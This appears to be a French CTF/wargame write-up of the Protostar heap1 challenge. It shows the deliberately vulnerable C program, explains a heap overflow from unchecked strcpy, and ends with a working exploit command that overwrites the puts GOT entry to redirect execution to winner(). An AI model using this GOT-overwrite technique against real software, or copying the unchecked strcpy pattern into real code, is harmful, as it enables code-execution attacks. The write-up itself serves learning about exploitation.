#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct internet { int priority; char *name; }; void winner() { printf("and we have a winner @ %d\n", time(NULL)); } int main(int argc, char **argv) { struct internet *i1, *i2, *i3; i1 = malloc(sizeof(struct internet)); i1->priority = 1; i1->name = malloc(8); i2 = malloc(sizeof(struct internet)); i2->priority = 2; i2->name = malloc(8); strcpy(i1->name, argv[1]); strcpy(i2->name, argv[2]); printf("and that's a wrap folks!\n"); }
Bon la vulnérabilité ne saute pas forcement au yeux du premier coup. Je vais essayer d'expliquer du mieux que je peux où elle se trouve.
On a une structure internet
qui contient deux paramètres, priority
et name
. Le programme alloue de la mémoire pour une première structure de ce type. Il positionne à 1 la valeur de priority
et alloue un buffer de 8 octets à name
. Il réalise une seconde fois cette opération. Puis, il copie dans le buffer de 8 octets i1→name
l'argument 1, et copie dans le buffer de 8 octets i2→name
l'argument 2.
Si on met plus de 8 caractères dans l'argument 1, le strcpy
va déborder sur une partie de la seconde structure internet
(i2
). On va commencer par écrire par dessus i2→priority
puis sur i2→name
. Cette dernière variable est en fait un pointeur vers le buffer de 8 octets aloué précédement. Si grâce au premier strcpy
on écrit l'adresse de puts
dans la GOT à la place du pointeur i2→name
et que l'on donne pour valeur au second argument du programme l'adresse de la fonction winner
, au moment du printf(…)
le programme sera redirigé vers la fonction winner
user@protostar:/opt/protostar/bin$ objdump -TR ./heap1 | grep puts 08049774 R_386_JUMP_SLOT puts user@protostar:/opt/protostar/bin$ nm ./heap1 | grep winner 08048494 T winner user@protostar:/opt/protostar/bin$ ./heap1 $(python -c 'print "A"*20+"\x74\x97\x04\x08"') $(python -c 'print "\x94\x84\x04\x08"') and we have a winner @ 1351274422